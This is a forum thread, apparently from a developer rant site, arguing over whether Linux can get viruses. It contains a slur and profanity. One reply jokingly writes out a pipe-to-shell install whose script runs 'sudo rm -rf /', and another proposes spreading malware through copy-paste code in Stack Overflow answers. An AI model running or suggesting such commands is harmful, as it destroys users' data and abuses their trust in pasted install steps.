Everyone that says you can't get viruses in Linux because only .exe compiled programs can contain malicious code or some bullshit like this is a fucking retarded

Sorry I had to say it

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    Why stupidity surprizes you anymore?
    Have you been on the plant in the last 3 years?
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    @magicMirror that's a very fair question
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    Mac users are much the same in that regard
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    @ostream Thank you for your wisdom, illuminated one.
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    Who says that? Everyone who even remotely understands computers knows that if you can code software for it, you can code a virus for it.

    Only difference is linux users are usually more tech savvy, windows is the target platform because It's full of normies and kids.

    So at it Stands It's much less likely to get a virus on *nix, very few groups make viruses for it, It's low yield
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    The best way of infecting every linux machine just publish an answer to some half-obscure question on stack overflow with a bit of code that people will need to copy.
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    @magicMirror on the "plant". Is this a 420 reference?
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    curl -L https://newfabuloustool.com/install... | bash

    install.sh content:
    sudo rm -rf /
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    Trigun reference. or a typo.
    Who knows? 😁
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    Though viruses is pretty specific.

    U can ram a faulty USB stick specifically crafted to fry the mainboard in any PC to destroy the machine.

    It doesn't give a flying fuck about the OS. :)

    Anything is insecure, be it hardware / software or the human itself.

    Though it is definitely easier to lockdown an Linux machine than an Windows machine.
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